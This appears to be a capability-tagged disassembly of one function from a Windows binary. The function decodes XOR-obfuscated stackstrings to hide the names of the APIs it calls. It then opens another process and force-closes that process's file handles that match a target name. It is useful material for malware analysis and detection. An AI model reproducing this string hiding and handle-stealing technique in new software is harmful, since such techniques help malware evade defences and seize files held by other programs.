Function at 0x413950
Capabilities:
Contain obfuscated stackstrings
Create thread
Encode data using xor
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x52419d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xb0
push esi
push edi
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x80], ecx
mov dword [ebp - 4], 0
xor edx, edx
mov byte [ebp - 0x5e], 0x7e
mov esi, 0xf
mov byte [ebp - 0x5d], 0x49
mov byte [ebp - 0x5c], 0x7b
mov byte [ebp - 0x5b], 0x3e
mov byte [ebp - 0x5a], 0x36
mov byte [ebp - 0x59], 0x20
mov byte [ebp - 0x58], 0x22
mov byte [ebp - 0x57], 0x22
mov byte [ebp - 0x56], 0x23
mov byte [ebp - 0x55], 0x37
mov byte [ebp - 0x54], 0x2a
mov byte [ebp - 0x53], 0xd
mov byte [ebp - 0x52], 0x20
mov byte [ebp - 0x51], 0x2a
mov byte [ebp - 0x50], 0x2e
mov byte [ebp - 0x4f], 0x2b
mov byte [ebp - 0x4e], 0x34
mov byte [ebp - 0x4d], 0x4d
mov al, byte [ebp - 0x5e]
mov dword [ebp - 0x14], edx
mov al, byte [ebp + edx - 0x5e]
mov ecx, edx
and ecx, esi
mov byte [ebp - 0xd], al
cmp ecx, esi
mov eax, 0x58e7b03d
mov edx, 0x40aba857
cmovae ecx, esi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx + 0x3d]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x5e], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0x12
jb 0x4139d2
mov byte [ebp - 0x2a], 0x7e
xor edx, edx
mov byte [ebp - 0x29], 0x6b
mov byte [ebp - 0x28], 0x77
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x41
mov byte [ebp - 0x25], 0xb
mov byte [ebp - 0x24], 0x49
mov byte [ebp - 0x23], 0x46
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x22
mov al, byte [ebp - 0x2a]
mov dword [ebp - 0x14], edx
nop
mov al, byte [ebp + edx - 0x2a]
mov ecx, edx
and ecx, esi
mov byte [ebp - 0xd], al
cmp ecx, esi
mov eax, 0xee7c8c1d
mov edx, 0xf6febf40
cmovae ecx, esi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx + 0x1d]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x2a], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0xa
jb 0x413a40
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea eax, [ebp - 0x2a]
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x5e]
push ecx
push eax
call edi
mov byte [ebp - 0x42], 0xbe
xor edx, edx
mov byte [ebp - 0x41], 0x85
mov edi, 0xf
mov byte [ebp - 0x40], 0xa8
mov byte [ebp - 0x3f], 0x73
mov byte [ebp - 0x3e], 0x68
mov byte [ebp - 0x3d], 0x74
mov byte [ebp - 0x3c], 0x7b
mov byte [ebp - 0x3b], 0x43
mov byte [ebp - 0x3a], 0x62
mov byte [ebp - 0x39], 0x6a
mov byte [ebp - 0x38], 0x6f
mov byte [ebp - 0x37], 0x6d
mov byte [ebp - 0x36], 0x71
mov dword [ebp - 0x88], eax
mov byte [ebp - 0x35], 5
mov al, byte [ebp - 0x42]
mov dword [ebp - 0x14], edx
mov al, byte [ebp + edx - 0x42]
mov ecx, edx
and ecx, edi
mov byte [ebp - 0xd], al
cmp ecx, edi
mov eax, 0x814c66fd
mov edx, 0x8cfc6d65
cmovae ecx, edi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx - 3]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x42], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0xe
jb 0x413ae0
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor edx, edx
mov byte [ebp - 0x34], 0x7e
mov esi, 0xf
mov byte [ebp - 0x33], 0x6b
mov byte [ebp - 0x32], 0x77
mov byte [ebp - 0x31], 0x44
mov byte [ebp - 0x30], 0x41
mov byte [ebp - 0x2f], 0xb
mov byte [ebp - 0x2e], 0x49
mov byte [ebp - 0x2d], 0x46
mov byte [ebp - 0x2c], 0x49
mov byte [ebp - 0x2b], 0x22
mov al, byte [ebp - 0x34]
mov dword [ebp - 0x14], edx
mov al, byte [ebp + edx - 0x34]
mov ecx, edx
and ecx, esi
mov byte [ebp - 0xd], al
cmp ecx, esi
mov eax, 0xee7c8c1d
mov edx, 0xf6febf40
cmovae ecx, esi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx + 0x1d]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x34], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0xa
jb 0x413b57
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea eax, [ebp - 0x34]
push eax
call esi
lea ecx, [ebp - 0x42]
push ecx
push eax
call edi
push dword [ebp - 0x80]
mov dword [ebp - 0x84], eax
push 0
push 0x40
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
mov dword [ebp - 0x20], edi
test edi, edi
je 0x413ec3
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x14], ecx
cmp dword [eax], ecx
jbe 0x413ec0
mov edx, dword [ebp - 0x1c]
add eax, 8
mov dword [ebp - 0x8c], eax
nop dword [eax + eax]
movups xmm1, xmmword [eax]
mov dword [ebp - 0x18], 0
movq xmm0, qword [eax + 0x10]
movups xmmword [ebp - 0xbc], xmm1
mov dword [ebp - 0x48], 0
psrldq xmm1, 4
movd eax, xmm1
movq qword [ebp - 0xac], xmm0
cmp eax, dword [ebp - 0x80]
jne 0x413ea3
push 0
push 0
push 0
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
push dword [ebp - 0xb4]
push edi
call dword [ebp - 0x88]
test eax, eax
js 0x413ea0
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 2
push dword [ebp - 0x18]
call dword [ebp - 0x84]
test eax, eax
mov eax, dword [ebp - 0x48]
jns 0x413c75
test eax, eax
jne 0x413c75
push dword [ebp - 0x18]
call esi
jmp 0x413ea0
push eax
call fcn.0050b67d
add esp, 4
mov edi, eax
lea eax, [ebp - 0x48]
mov dword [ebp - 0x90], edi
push eax
push dword [ebp - 0x48]
push edi
push 2
push dword [ebp - 0x18]
call dword [ebp - 0x84]
test eax, eax
js 0x413e98
cmp word [edi], 0
jbe 0x413e9d
push str.File
push dword [edi + 4]
call fcn.004fde84
add esp, 8
test eax, eax
je 0x413e9d
mov byte [ebp - 0x74], 0x37
xor edx, edx
mov byte [ebp - 0x73], 0x1c
mov edi, 0xf
mov byte [ebp - 0x72], 2
mov byte [ebp - 0x71], 0xcd
mov byte [ebp - 0x70], 0xef
mov byte [ebp - 0x6f], 0xe2
mov byte [ebp - 0x6e], 0xed
mov byte [ebp - 0x6d], 0xe6
mov byte [ebp - 0x6c], 0xf3
mov byte [ebp - 0x6b], 0xcd
mov byte [ebp - 0x6a], 0xe0
mov byte [ebp - 0x69], 0xec
mov byte [ebp - 0x68], 0xeb
mov byte [ebp - 0x67], 0xce
mov byte [ebp - 0x66], 0xe7
mov byte [ebp - 0x65], 0xdc
mov byte [ebp - 0x64], 0xe8
mov byte [ebp - 0x63], 0xfb
mov byte [ebp - 0x62], 0xe3
mov byte [ebp - 0x61], 0xf3
mov byte [ebp - 0x60], 0xf9
mov byte [ebp - 0x5f], 0x98
mov al, byte [ebp - 0x74]
mov dword [ebp - 0x4c], edx
mov al, byte [ebp + edx - 0x74]
mov ecx, edx
and ecx, edi
mov byte [ebp - 0xd], al
cmp ecx, edi
mov eax, 0x1bac297d
mov edx, 0x42d79652
cmovae ecx, edi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x4c]
and al, 0xf
lea ecx, [edx + 0x7d]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x74], al
inc edx
mov dword [ebp - 0x4c], edx
cmp edx, 0x16
jb 0x413d28
lea eax, [ebp - 0x74]
push eax
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov ecx, dword [ebp - 0x18]
lea eax, [ebp - 0x7c]
push 0
push 0
push eax
push 0x413740
push 0
push 0
mov dword [ebp - 0x7c], ecx
mov dword [ebp - 0x78], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x64
push esi
mov dword [ebp - 0x4c], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edi, dword [ebp - 0x90]
cmp eax, 0x102
je 0x413e6e
mov eax, dword [ebp - 0x78]
test eax, eax
je 0x413e6e
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x98], ecx
mov dword [ebp - 0x94], eax
test cx, cx
je 0x413e5b
push 1
lea eax, [ebp - 0x98]
push eax
lea eax, [ebp - 0xa0]
push eax
call dword [sym.imp.ntdll.dll_RtlUnicodeStringToAnsiString]
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
push eax
push dword [ebp - 0x9c]
call fcn.004fe0f0
add esp, 8
test eax, eax
je 0x413e5b
push edi
call fcn.0050af27
push dword [ebp - 0x78]
call fcn.0050af27
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
add esp, 8
push dword [ebp - 0x18]
call esi
push 1
push 0
push 0
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edi, dword [ebp - 0x20]
push eax
push dword [ebp - 0xb4]
push edi
call dword [ebp - 0x88]
test eax, eax
js 0x413ea0
push dword [ebp - 0x18]
call esi
jmp 0x413ea0
push edi
call fcn.0050af27
push dword [ebp - 0x78]
call fcn.0050af27
add esp, 8
jmp 0x413e92
push 0
push dword [ebp - 0x4c]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push edi
call fcn.0050af27
mov eax, dword [ebp - 0x78]
add esp, 4
test eax, eax
je 0x413e92
push eax
call fcn.0050af27
add esp, 4
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x18]
call esi
mov edi, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
inc dword [ebp - 0x14]
mov eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x14]
add eax, 0x1c
mov dword [ebp - 0x8c], eax
cmp ecx, dword [edx]
jb 0x413bf0
push edi
call esi
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.0040b870
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret